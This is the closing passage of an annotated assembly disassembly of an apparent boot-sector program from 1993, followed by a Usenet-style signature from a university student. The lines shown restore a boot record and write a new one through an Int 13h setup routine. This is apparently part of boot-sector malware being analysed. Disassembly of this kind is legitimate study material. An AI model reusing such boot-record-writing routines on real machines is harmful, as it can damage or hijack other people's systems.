  633.         MOV     CX,01E0h                ;002F3  B9E001  |cx=01E0h si=001Eh
  634.         REP     MOVSB                   ;002F6  F3A4    |Move DS:SI to ES:DI
  635.                                         ;               |Restore boot record
  636.                                         ;               | from ofs 7C00:001E
  637.                                         ;               | Note initial jump
  638.                                         ;               | restored to EB 1C.
  639.         POP     CX                      ;002F8  59      |CX=number of sectors
  640.         CALL    Setup_Int13             ;002F9  E8E7FE  |Write the new boot
  641.                                         ;               | record.
  642.         JMP     Short Read_New_Boot     ;002FC  EB83    |Read it and process.
  643. ;---------------------------------------;---------------------------------
  644. Boot_ID DW      0AA55h                  ;002FE  55AA    |All valid boot
  645.                                         ;               | sectors end with
  646.                                         ;               | 55AA
  647.         ENDS                            ;---------------------------------
  648.                                         ; Disassembly by Arthur Ellis and ??
  649.         END     Boot_Start              ; [Suggestions by Lucifer Messiah]
  650.                                         ; April, 1993
  651. ;-------------------------------------------------------------------------
  652.  
  653.  
  654.  
  655. --
  656. Eric "Mad Dog" Kilby                                 maddog@ccs.neu.edu
  657. The Great Sporkeus Maximus                 ekilby@lynx.dac.neu.edu
  658. Student at the Northeatstern University College of Computer Science 
  659. "I Can't Believe It's Not Butter"
  660.  
  661.